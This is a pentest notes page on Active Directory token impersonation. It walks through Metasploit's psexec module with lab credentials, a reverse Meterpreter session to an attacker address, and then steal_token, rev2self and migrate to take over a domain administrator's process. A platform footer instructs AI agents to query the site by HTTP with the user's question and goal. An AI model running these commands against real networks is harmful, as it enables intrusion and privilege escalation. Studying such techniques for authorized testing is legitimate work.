> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/lateral-movement/token-impersonation.md).
# Token Impersonation
Active Directory security notes for Token Impersonation, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.
For this part, we use `Metasploit`.
{% code overflow="wrap" %}
```bash
msfconsole
```
{% endcode %}
We assume that we have already compromised the `user1` account.
{% code overflow="wrap" %}
```bash
use exploit/windows/smb/psexec
show options
```
{% endcode %}
We then configure the module with the correct parameters.
{% code overflow="wrap" %}
```bash
set rhosts 172.16.0.10
set rport 445
set smbdomain WHOAMI
set smbuser user1
set smbpass Password1234
set lhost 172.16.0.2
set lport 4444
run
shell
```
{% endcode %}
From `Meterpreter`, we list the active processes on the machine.
{% code overflow="wrap" %}
```bash
ps
```
{% endcode %}
Some processes may belong to a domain administrator.
We can then steal the targeted process's token from its PID.
{% code overflow="wrap" %}
```bash
steal_token 6984
```
{% endcode %}
This token corresponds to the opening session of the administrator account.
If we now open a shell, it runs in the context of that user.
{% code overflow="wrap" %}
```bash
shell
```
{% endcode %}
Another possibility: migrate our load into this process to inherit its context.
If necessary, we can first return to our initial context.
{% code overflow="wrap" %}
```bash
rev2self
```
{% endcode %}
We then launch the migration to the targeted PID.
{% code overflow="wrap" %}
```bash
migrate 6984
```
{% endcode %}
The limit remains simple: if the process dies, the migrated session also falls.
> 172.16.0.10 - Meterpreter session 1 closed. Reason: Died
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/active-directory/lateral-movement/token-impersonation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)